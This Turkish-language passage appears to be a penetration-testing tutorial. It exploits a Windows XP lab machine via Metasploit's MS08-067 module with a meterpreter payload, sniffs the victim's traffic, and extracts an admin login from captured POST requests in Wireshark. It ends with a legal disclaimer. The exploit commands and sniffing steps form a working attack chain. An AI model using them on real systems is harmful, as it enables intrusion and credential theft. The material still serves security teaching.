Şimdi aynı zararlıyı (exploit'i) ve payload'u kullanarak yine hedef sisteme sızalım. Kali Linux Terminal: msf > use exploit/windows/smb/ms08_067_netapi msf (ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp msf (ms08_067_netapi) > set LHOST X.X.X.X // Kali Linux IP msf (ms08_067_netapi) > set RHOST X.X.X.X // WindowsXP IP msf (ms08_067_netapi) > exploit Çıktı: [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP – Service Pack 2 – lang:Turkish [*] Selected Target: Windows XP SP2 Turkish (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (770048 bytes) to 192.168.0.19 meterpreter > Meterpreter session'ı (oturumu) elde edilmiştir. Şimdi sniff'ing işlemi için (hedef sistemdeki internet trafiğini dinlemek için) meterpreter payload'umuzdaki sniffer betiğini etkinleştirelim ve hedefin ethernet kartı interface'ini (arayüzünü) öğrenelim. Kali Linux Terminal: meterpreter > use sniffer meterpreter > sniffer_interfaces Çıktı: ![]() Görüldüğü üzere hedef makinanın ethernet kart modeli çıktıya yansımıştır. Hedef sistemde birden fazla ethernet adaptörü (arayüzü) olabilir. Bizim uygulamamızda Windows XP bir adet ethernet adaptörüne sahip olduğu için bir adet ethernet arayüzü ekrana yansımıştır. Şimdi "1" numaralı interface'ten 20000 tane paket yakala emrini uzak sistemdeki meterpreter payload'umuza verelim: Kali Linux Terminal: meterpreter > sniffer_start 1 20000 Çıktı: ![]() Bu sırada hedef windows xp makinasında tarayıcıdan çeşitli sitelere ziyarette bulunabilirsiniz. Ziyaretler sırasında paketler bir bir yakalanırken arada bir sniffing durumunu gözlemlemek için sniffer_stats komutu kullanılabilir: Kali Linux Terminal: meterpreter > sniffer_stats 1 // 1 nolu interface'in istatistikleriÇıktı: ![]() Ardından Windows XP 'teki örneğin firefox'tan includekarabuk.com'un admin paneline login bilgilerini girelim. Daha sonra yakalanan paketleri uzak sistemin buffer'ından (tamponundan) Kali Linux'a indirip bir dosyaya yazmak için aşağıdaki komutu kullanalım: Kali Linux Terminal: meterpreter > sniffer_dump 1 /root/Desktop/toplananTrafik.capÇıktı: ![]() ![]() Dosyalanan trafikte Wireshark'ın filter'ı ile madencilik işlemi yapılabilir ve kullanıcı adı & şifre gibi hassas bilgilere ulaşılabilir. Biz bu sürecin uzunluğunu göz önünde bulundurarak direk includekarabuk.com'la alakalı trafik paketlerine odaklanalım. Bu işlem için öncelikle tüm trafiği barındıran dosyayı wireshark'a dahil edelim. ![]() ![]() ![]() ![]() Ardından Wireshark'ın filter kutusuna aşağıdakini yazalım: http.request.method == "POST" ![]() POST methoduna göre sonuç daraltmasına gidilmesi tercih edildi, çünkü kullanıcı adı ve şifre gibi bilgiler neredeyse her zaman web sitelerinden sunucuya HTTP POST methodu ile gitmektedir. Daralanan sonuçlardan gözümüze kestirdiğimiz paketi (mesela includekarabuk'un login sayfası olan /adminPaneli/index.php sayfasına dair olan paketi) seçelim: ![]() Ardından seçtiğimiz pakete sağ tıklayıp Follow TCP Stream diyerek paketin içini okuyabileceğimiz pencereyi açalım: ![]() ![]() Görüldüğü üzere paketin içerisindeki POST edilen değişken ve değerleri kullanıcı adı ve şifre imiş. Böylelikle hedef sistemin trafiğini uzaktan sniff'leyerek hassas verilere ulaşmış olduk. Saldırganlar bu yolla sızdıkları sistemdeki kurbanların çeşitli web sitelerindeki kullanıcı hesaplarını ele geçirebilirler (diğer tabirle hesaplarını hack'leyebilirler). Sonuç olarak bu uygulama ile de sizlere hedef sistemin internetle olan trafiğini nasıl dinleyebileceğinize dair bir metot gösterilmiştir. Trafik okuma network sızma testi yapanların sıklıkla kullandıkları metotlardan bir tanesidir. Topladıkları devasa nitelikteki paketler içerisinde yine sıklıkla kullandıkları Wireshark yazılımıyla filtrelemelere giderler ve kayda değer veri elde edilebiliyor mu testi yaparlar. Evet, hayli uzun makalenin sonuna gelmiş bulunmaktayız. Bu makalede sizler bir sızma işlemi nasıl gerçekleşir ve sızıldığında neler yapılabilire dair siber güvenlik dünyasında klasikleşmiş temel bir uygulamayı görmüş bulunmaktasınız. Bu uygulama sizlere bir ufuk, bir perspektif çizecek kanaatindeyim. Kazandığınız bu perspektifi kötü amaçlar doğrultusunda kullanmamanızı şiddetle öneriyorum. Zekanızı ülke için harcayın, çalıp çırpma için değil.
Sorumluluk Reddi
![]()
Bu makale ve bu makalenin yer aldığı makale zincirinde anlatılan her bir tekniğin izinsizce bir sisteme denenmesi sonucu tespit edilmeniz durumunda 5 ila 10 yıl hapis cezasına çarptırılabileceğinizi ve ayrıyetten yaptığınız hasara oranla maddi tazminat cezasına çarptırılabileceğinizi bildiğinizi varsayıyorum. Tüm bunlar bir yana sicilinizi kirletmeniz sonucunda bu alanda ne kadar bilgili olursanız olun "güvenilmez" damgası yiyeceğinizden Türkiye'de siber güvenlik sektörünü unutmak mecburiyetinde kalacağınızı da bildiğinizi varsayıyorum. Bu makale ve bu makalenin yer aldığı makale zincirinde eğitim amaçlı anlatılan tekniklerin kötü yönde kullanılmasından tarafım sorumlu tutulamaz. Bu bilgiler sadece ve sadece ülkemizde siber güvenlik alanındaki eleman eksikliğini gidermek maksadıyla paylaşılmaktadır. Makale içerisinde yer alan bazı kelime kalıplarının (örn; "sızmak istediğimiz / saldırmak istediğimiz" gibi) sadece ve sadece bir sızma testçi (pentester) bakış açısından ibaret olduğunu beyan etmek isterim.
![]()
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
![]() |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Yorumlar |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Yorum Ekle | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||